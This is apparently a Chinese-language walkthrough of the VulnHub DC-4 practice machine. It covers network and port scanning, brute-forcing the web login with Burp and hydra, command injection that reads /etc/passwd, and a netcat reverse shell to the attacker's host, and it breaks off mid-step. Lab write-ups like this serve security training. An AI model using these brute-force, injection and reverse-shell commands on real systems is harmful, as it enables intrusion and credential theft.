0X00 靶机的环境搭配
攻击机(Kali):?192.168
靶机(DC-1):?192.168
靶机地址:??DC: 4 ~ VulnHub
0X01信息收集
一、IP扫描
┌──(root?kali)-[~] └─# arp-scan -l
二、端口扫描
┌──(root?kali)-[~] └─# nmap -T4 -sV -O -A -p- 192.168.238.136
三、网站目录扫描
┌──(root?kali)-[~] └─# dirb http://192.168.238.136? ?#无有用信息?
四、查看网站结构
发现用户名为admin和反向代理nginx
可以尝试暴力破解
0X02 爆破账户名密码
一、burp暴力破解
1.1 抓包
使用 burpsuite 抓包,右键 选择 “send to intruder”
1.2 配置选项
进行密码爆破,右键 选择 “send to intruder”
设置攻击类型为:"sniper?" ;在密码处添加位置
有效载荷-payload选项-导入字典
通常字典在 /usr/share/john/password.lst
?
?得到账户名和密码admin和happy
二、使用hydra爆破密码
┌──(root?kali)-[/usr/share/john] └─# hydra -l admin -P /usr/share/john/password.lst 192.168.238.136 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -f
参数名 | 参数含义 | -l | 指定单个用户名,适合在知道用户名爆破时使用 | -L?? | 指定多个用户名,参数值为存储用户名的文件的路径(建议使用文件绝对路径) | -p | 指定单个密码,适合在知道用户密码进行爆破时使用 | -P? | 指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议使用文件绝对路径) | -C | 当用户名和密码存储到一个文件时使用此参数。注意:文件(字典)存储的格式必须为 “用户名:密码” 的格式 | -M?? | 指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议使用文件绝对路径)。注意:列表文件存储格式必须为 “地址:端口” | -t | 指定爆破时的任务数量(可以理解为线程数),默认为16 | -S | 指定爆破时使用 SSL 链接 | -R | ?继续从上一次爆破进度上继续爆破 | -V | 显示爆破的详细信息 | -f | 一旦爆破成功一个就立即停止爆破 | server? | 代表要攻击的目标(单个),多个目标时请使用 -M 参数 |
0X03??
一、登陆用户
登陆发现可以执行部分命令
二、用户搜索
方法一、包含查询
2.1-1 查看用户
退出去重新抓包,
右键选择?send to Repeater
修改最后一行 radio=cat+/etc/passwd&submit=Run
?点击Go,发现有三个普通用户:charles、jim、sam和他们的目录
2.1-2?charles目录
查看charles用户家目录,没有发现有价值的内容
2.1-3?sam目录
查看sam用户家目录,也没有发现有价值的内容
2.1-4 jim目录
查看jim用户的家目录,发现一个test.sh脚本先略过,一个mbox文件,一个backus目录
进入backups目录,发现一个old-passwords.bak备份文件,打开查看发现一堆备份的密码,将密码保存
方法二、交互shell
2.2-1 反弹shell的制作
?┌──(root?kali)-[/usr/share/john] └─# nc -lvp 1234? ?#靶机监听1234端口 listening on [any] 1234 ...
burp修改命令为 nc 192.168.238.130 1234?-e /bin/bash
2.2-2 交互式shell
┌──(root?kali)-[/usr/share/john] └─# nc -lvp 1234 listening on [any] 1234 ... 192.168.238.136: inverse host lookup failed: Unknown host connect to [192.168.238.130] from (UNKNOWN) [192.168.238.136] 48496
python -c 'import pty;pty.spawn("/bin/bash")'??
#这是交互shell,避免我们因为退出而导致需要重新或许使用nc反弹shell
2.2-3?
先后进入home?目录,jim目录,backups目录
cd? home
|